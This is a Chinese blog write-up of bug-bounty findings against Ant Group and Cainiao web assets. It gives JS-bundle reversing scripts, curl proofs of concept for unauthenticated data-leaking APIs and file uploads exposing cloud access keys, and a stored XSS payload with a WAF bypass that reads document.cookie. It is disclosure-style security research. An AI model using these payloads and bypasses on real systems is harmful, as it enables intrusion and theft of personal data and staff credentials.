web漏洞挖掘复盘,从大型的js逆向和多个js bundle的逆向过程

故事还要从半个月前的挖洞生活说起。
当时从师傅那里得到了他们团队内部的模型,啥也不说kuku开始日网站,挖了几个蚂蚁和阿里的,大部分都重复了,现在穷的买不起token了,让我们来复盘下。
PixPin_2026-10-12_22-37-59
先看蚂蚁重复的2个。这个应该是新出的资产,我只能说孩子,手放快吧。

第一个洞,

AFAC xxxxxx泄露专家与联系人信息

1 入口:app.example.com 前端 JS 逆向

AFAC 是蚂蚁集团"xxxxx大赛"官网。同样的手法:

import requests, re, urllib3
urllib3.disable_warnings()

html = requests.get("https://afac.example.com/", verify=False).text
js_urls = re.findall(r'src="([^"]+\.js[^"]*)"', html)

# 下载主 bundle
js = requests.get(js_urls[0], verify=False).text

2 关键发现:proxy 配置泄露后端

在 JS 中搜索 proxy 配置:

import re
for m in re.finditer(r'proxy[^}]{0,200}', js, re.I):
    print(m.group(0))

输出:

proxy: {
  '/api': {
    target: 'https://api.example.com',
    changeOrigin: true
  }
}

结论:前端所有 /api/* 请求都会被代理到真实后端 api.example.com。

3 提取公开 API 端点

继续正则提取 /api/public/ 下的端点:

apis = set(re.findall(r'["\'](/api/public/[^"\']{5,100})["\']', js))
for a in sorted(apis):
    print(a)

输出 6 个公开 API:

/api/public/case-library/list      ← 案例库列表(含联系人)
/api/public/expert/list            ← 专家列表(含手机号)
/api/public/...(其余4个)

4 参数构造与删减

这几个接口是 GET 请求,原本前端会带一些查询参数(分页、筛选等)。测试时发现:

操作 结果
带完整前端参数请求 ✅ 返回数据
删掉所有查询参数(只留路径) ✅ 仍返回全量数据
删掉 Cookie/Token ✅ 仍返回数据(无鉴权)

但必须保留两个 Header(否则被防盗链/跨域拦截):

-H "Origin: https://app.example.com"
-H "Referer: https://app.example.com/"

删减后最精简的 PoC:

curl -k "https://api.example.com/api/public/expert/list" \
  -H "Origin: https://app.example.com" \
  -H "Referer: https://app.example.com/"

5 数据验证

/api/public/expert/list 返回 134KB JSON,176 位专家信息:
PixPin_2026-10-12_22-45-42

/api/public/case-library/list 返回 20 条企业联系人(含真实手机号):

PixPin_2026-10-12_22-46-42

泄露统计:20 个真实手机号 + 176 位专家(含院士、蚂蚁高管)+ 5 个内部员工工号。

第二个洞

welfare-foundation 生产/预发未授权上传 + OSS AK 泄露

1.1 入口:从一个前端页面顺藤摸瓜

起点是 SRC 范围内的 portal.example.com("社会组织链上管理系统 / 外部专家平台")。

第一步:抓前端页面,找 JS 入口

curl -k "https://portal.example.com/" | grep -oE '(src|href)="[^"]+\.js[^"]*"'

页面是一个 SPA(单页应用),核心逻辑打包在多个 JS bundle 里,其中最大的约 5.6MB。

第二步:下载 JS 并做逆向分析

import requests, re, urllib3
urllib3.disable_warnings()

js = requests.get("https://cdn.example.com/.../main.xxx.js", verify=False).text
print(f"JS 大小: {len(js)/1024:.0f}KB")

# 用正则批量提取可疑接口路径
patterns = [
    r'["\'](/noLogin/[^"\']{5,100})["\']',     # 免登录接口
    r'["\'](/file/[^"\']{5,100})["\']',         # 文件相关
    r'["\'](/upload[^"\']{5,100})["\']',        # 上传相关
    r'["\'](https?://[a-z0-9.-]+\.antgroup\.com[^"\']*)["\']',  # 真实后端
]

从 5.6MB JS 中提取出的关键内容:

免登录接口路径:
  /noLogin/file/upload.json
  /noLogin/file/uploadForUrl.json
  /noLogin/tr/invoke.json

真实后端地址(环境映射):
  PROD: "https://welfare.example.net"
  PRE : "https://welfare-pre.example.net"

关键发现:前端 JS 里硬编码了 PROD / PRE 两套后端地址,直接点破了生产环境和预发环境的真实域名。


1.2 接口参数还原(从 JS 里拼出请求体)

/noLogin/file/upload.json 这个路径本身只给了 URL,但没有给出参数名。继续在 JS 里搜索这个字符串的上下文:

idx = js.find('/noLogin/file/upload.json')
context = js[max(0, idx-500): idx+500]
print(context)

在上下文里发现上传函数构造 FormData 的方式:

// JS 中还原出的上传逻辑(简化)
function uploadFile(file) {
  const formData = new FormData();
  formData.append('file', file);              // 文件本体,参数名 = file
  formData.append('fileName', file.name);     // 文件名,参数名 = fileName
  formData.append('client', 'welfare_fxxxxx');   // 客户端标识
  formData.append('tenant', 'ANT_GROUP');            // 租户
  formData.append('generateSignUrl', 'true');        // 是否生成签名URL
  return request.post('/noLogin/file/upload.json', formData, {
    headers: { 'Client': 'welfare_fxxxxxx' }      // 自定义 Header
  });
}

同时发现一个 RPC 调用格式(用于其他接口):

{facadeName, methodName, tenant, requestData}

1.3 参数"增删"过程

第一次尝试:先按 JS 原样拼参数上传,成功。

测试参数删减:为了验证哪些参数是"必须的",逐项删除:

删除的参数 结果 说明
generateSignUrl ⚠️ 仍成功,但响应里没有 url 字段 该参数控制是否返回 OSS 签名 URL,删掉就拿不到 AK
tenant ❌ 失败 / 报错 后端强依赖 tenant 路由,必须保留
client ❌ 失败 后端按 client 定位业务,必须保留
fileName ⚠️ 仍成功 但文件名会变成默认值
Header Client ⚠️ 仍成功 但有它响应更完整

结论:file(文件)、tenant、client 是核心三参数;generateSignUrl=true 是拿到 AK 的关键开关。


1.4 最终 PoC(含参数拼接)

curl -k -X POST "https://welfare.example.net/noLogin/file/upload.json" \
  -H "Client: welfare_fxxxxxx" \
  -F "file=@poc.txt;type=text/plain" \
  -F "fileName=poc.txt" \
  -F "client=welfare_fxxxxxx" \
  -F "tenant=ANT_GROUP" \
  -F "generateSignUrl=true"

响应(关键字段):

s

三个收获:

  1. 未授权上传:全程无 Cookie/Token
  2. OSS AK 泄露:OSSAccessKeyId=LTAI5tLRLxxxxxxxxxxxxxxx 直接暴露在 URL 里
  3. 签名永不过期:Expires=4093396846(2099 年)

1.5 预发环境同步验证

把域名换成 JS 里泄露的 PRE 地址,同样的参数直接打:

curl -k -X POST "https://welfare-pre.example.net/noLogin/file/upload.json" \
  -H "Client: welfare_xxxxxxxxx" \
  -F "file=@poc.txt" -F "fileName=poc.txt" \
  -F "client=welfare_xxxxxxxx" -F "tenant=ANT_GROUP" -F "generateSignUrl=true"

1.6 附加发现:JS 中硬编码的第二个 AK

在 5.6MB JS 里搜 AccessKey / LTAI 关键词,又挖出一个硬编码 AK:

PixPin_2026-10-12_22-58-42

虽然对应的 Bucket 已下线,但证明前端 JS 存在硬编码 AK 的安全问题。

下面看第三个洞

供应商门户 supplier-workbench 存储型 XSS(WAF 绕过)

这是三个漏洞中链路最长、技术含量最高的一个。

3.1 入口:supplier.example.net 前端 JS(7094KB)

起点是 SRC 范围内的 supplier.example.net(蚂蚁供应商管理平台)。

html = requests.get("https://supplier.example.net/", verify=False).text
# 发现 umi.js 高达 7094KB

3.2 关键发现:proxyServiceRoot 泄露内网网关

在 7094KB 的 umi.js 中搜索后端配置:

for m in re.finditer(r'proxyServiceRoot["\']?\s*[:=]\s*["\']([^"\']+)', js):
    print(m.group(1))

输出:

https://webgw.internal.example/pursupplierplatform        ← 生产网关
https://webgw-pre.internal.example/pursupplierplatform    ← 预发网关

重要:internal.example 是蚂蚁集团内网域名!JS 泄露了内网网关地址。

3.3 顺藤摸瓜:发现公网可达的内网系统

继续搜索 JS 里的域名,发现:

supplier.internal.example   ← 供应商门户(内网系统)
srm.example.org                  ← 采购管理 SRM
vendor.example.org               ← 供应商后端

逐个 DNS 解析 + HTTP 探测,发现 supplier.example.org 竟然公网可达(IP 59.82.60.xx),页面标题"蚂蚁采购-供应商平台"。

3.4 认证绕过:LoginFilter 白名单

未登录直接访问时,大部分路径会 302 跳转到 sso.internal.example(阿里内网 SSO)。但通过 fuzz 发现一组白名单路径不需要登录:

/supplier/pub/*      ← 供应商公开页
/rock/upload/*       ← 上传接口(重点!)

验证:POST /rock/upload/upload.xhtml 不带任何 Cookie,直接返回上传成功。

3.5 上传接口参数还原与删减

JS 中还原的上传参数(完整版):

// 前端上传组件原本会带一堆参数
formData.append('fileInput', file);        // 文件,参数名 = fileInput
formData.append('businessType', 'ELBRUS'); // 业务类型
formData.append('bizId', 'xxx');           // 业务 ID
formData.append('storageType', 'OSS');     // 存储类型
// ... 以及 CSRF token 等

参数删减测试:

操作 结果
带全参数上传 ✅ 成功
只留 fileInput(删掉 businessType/bizId/storageType/token 等一切) ✅ 仍然成功

最精简 PoC:

curl -k -X POST "https://supplier.internal.example/rock/upload/upload.xhtml" \
  -F "fileInput=@test.txt;type=text/plain"

响应:

{
  "success": true,
  "content": {
    "id": 20220xxxxxxxxxx,
    "resourceId": "e45358bdc8caxxxxxxxxxxxxxxx",
    "storageType": "OSS",
    "fileName": "poc_verify.txt"
  }
}

关键结论:上传接口只认 fileInput 一个参数,其余全部可删,且全程无鉴权。

3.6 HTML 上传 + WAF 绕过

上传接口支持 .html 格式,但直接上传 <script>alert(1)</script> 会被 X5Filter WAF 拦截(返回 500)。

WAF 绕过思路:X5Filter 用正则匹配危险函数调用,但没覆盖 JS 的方括号记法(bracket notation)。

JS 语法等价性:

alert(1)           // 点号调用 —— WAF 拦截
window.alert(1)    // 点号调用 —— WAF 拦截
window["alert"](1) // 方括号调用 —— WAF 放行!等价于上面
top["al"+"ert"](1) // 字符串拼接混淆 —— WAF 放行!等价于上面

最终绕过 PoC(自动触发):

<html><body>
<img src=x onerror=top["al"+"ert"]("XSS_on_"+document.domain+"_cookie:"+document.cookie)>
</body></html>

上传成功(id=20220xxxxxxxxx),认证用户打开下载链接即自动弹窗显示 domain + cookie。

3.7 下载端点还原

从 JS 中提取下载 URL 拼接规则:

# umi.js 中发现的下载前缀
Gc = "/elbrus/fileupload/download?fixateEncrypt=true&resourceId="

对应完整下载链路:

https://supplier.internal.example/rock/download/download.xhtml?resourceId={id}
https://vendor.example.org/elbrus/fileupload/download?fixateEncrypt=true&resourceId={id}

下载需 mozi-login SSO(内网账号)认证 —— 这正是存储型 XSS 的目标场景:攻击内部员工。


后面搞了个内部账号,可是这个有个问题啊,就是下载后是显示500错误,后端是java,并且被拦截了。

下面来复盘一下菜鸟的漏洞
菜鸟供应商平台的公告列表接口 /cp/cplm/bulletinInfo/listBulletinInfoPage 返回了过多的内部敏感信息。普通供应商账号可获取共 597 条采购公告。

一、登录态获取
使用菜鸟供应商平台注册账号(账号A)登录 cp.example.org。通过浏览器开发者工具抓取登录后的请求,提取以下认证凭据:
请求必须携带 X-XSRF-TOKEN 请求头(值等于 Cookie 中 XSRF-TOKEN),否则接口拒绝访问。

二、JS 逆向发现接口
2.1 定位核心业务 JS
cp.example.org 是 React 单页应用(SPA),HTML 仅加载框架代码,业务逻辑在 CDN 上的 app.js 中。通过分析页面加载的 script 标签,定位到核心业务 JS:
https://cdn.example.com/xxxxxx/cn-cprm-cp-react/3.0.871/js/xxxx.js

2.2 提取 API 路径映射
下载 xxxx.js 后,用正则表达式提取其中的 API 路径字符串,发现多个 API 路由映射对象。其中关键对象 cpPortalSite 定义了门户所有接口的路径常量:
PixPin_2026-10-13_19-21-45
另一处模块中还发现同接口的别名定义:
PixPin_2026-10-13_19-25-11

三、分析调用方式(确定 HTTP 方法与参数格式)
3.1 定位调用封装函数
在 xxxx.js 中搜索 getBulletinInfoList 的引用,
PixPin_2026-10-13_19-29-54
3.2 关键发现:参数编码方式差异
同一文件中,招标接口 getTenderPageList 的调用方式与公告接口不同:
// 公告接口 —— 直接传 JSON 对象
data: t
// 招标接口 —— 需要 jsonParam= 前缀 + URL 编码
data: "jsonParam=" + window.encodeURIComponent(JSON.stringify(t))
这个对比说明:

  1. 公告接口:Content-Type: application/json,body 为原始 JSON 对象
  2. 招标接口:body 为 jsonParam=<urlencoded> 格式的字符串
    这一差异解释了为什么部分接口用标准 JSON 能通、部分接口必须用 jsonParam 包装。公告接口属于前者。
    四、构造请求参数
    1 参数确定过程(重要说明)
    JS 中只提供了三件事:接口路径、method:"POST"、data: t(原始 JSON 对象,非 jsonParam 包装)。压缩混淆后的 JS 并未硬编码 pageNo/pageSize 这两个参数名(全文件检索 pageNo=0 次,pageSize 仅 1 次且为 UI 文案)。
    参数名通过两步确定:
  3. 经验候选:后端分页接口常见命名组合,按优先级尝试 pageNo/pageSize、pageNum/pageSize、current/size、offset/limit 等
  4. 实测回显确认:发送请求后观察参数是否生效——pageSize=5/20/100 分别返回 5/20/100 条,证明 pageSize 参数名正确且生效;删除 pageNo 仍返回数据,证明其非必填
    最终确定有效请求体:
    {"pageNo": 1, "pageSize": 20}
    2 构造完整请求
    PixPin_2026-10-13_19-57-40

3 首次响应
返回 HTTP 200,响应体 91,021 字节(91KB),success: true,包含 20 条公告记录,totalItems: 505。
五、参数边界测试(删除/调整参数)
为验证参数必要性及接口的数据暴露范围,进行参数边界测试:
关键结论:

  1. 接口无需任何参数即可返回数据(空 body 返回默认 10 条)
  2. pageSize 最大可到 100,单次可拉取 100 条(433KB)
  3. pageNo 参数完全失效——无论传 1、2 还是 30,都返回相同的第一批数据(首条 id 恒为 9044),推测服务端未实现分页逻辑或 pageNo 被忽略,这本身也是功能缺陷

六、敏感数据字段分析
拉取 100 条公告后,逐字段分析,发现每条公告包含远超业务所需的内部敏感信息:
1 内部员工工号(gmtCreator / gmtModifier / delayAudit.creator)
100 条公告共泄露 29 个菜鸟内部员工唯一工号,可反推员工数量和组织规模:
2 完整组织架构树(departmentName / departmentNo)

3 内部 OA 审批链接(auditUrl + processInstanceId)
100 条公告泄露 100 个内部 OA 审批流程实例 ID 和对应链接:
auditUrl: "https://oa.internal.example/manage/xxxxxxxxx?processInstanceId=919102723016572"
processInstanceId: "919102xxxxxxxxxxxx"
这些 processInstanceId 是菜鸟内部 OA 系统的流程实例唯一标识,格式为递增的 17 位数字,可被用于:
• 枚举内部 OA 流程
• 探测 oa.internal.example 内部系统

4 内部项目编号(projectCode)
泄露 24 个内部项目编号,如:
CN2026627803 CN2026620602 CN2026618601
5 公告正文中的联系方式(content / remark / contactInfo)
公告正文 content 字段包含菜鸟内部员工的手机号和邮箱:
泄露的手机号(7 个):
PixPin_2026-10-13_19-43-09

泄露的菜鸟内部员工邮箱(7 个,@example.org 域名):
PixPin_2026-10-13_19-44-40

posted @ 2026-10-13 20:00  你好,星  阅读(11)  评论(0)    收藏  举报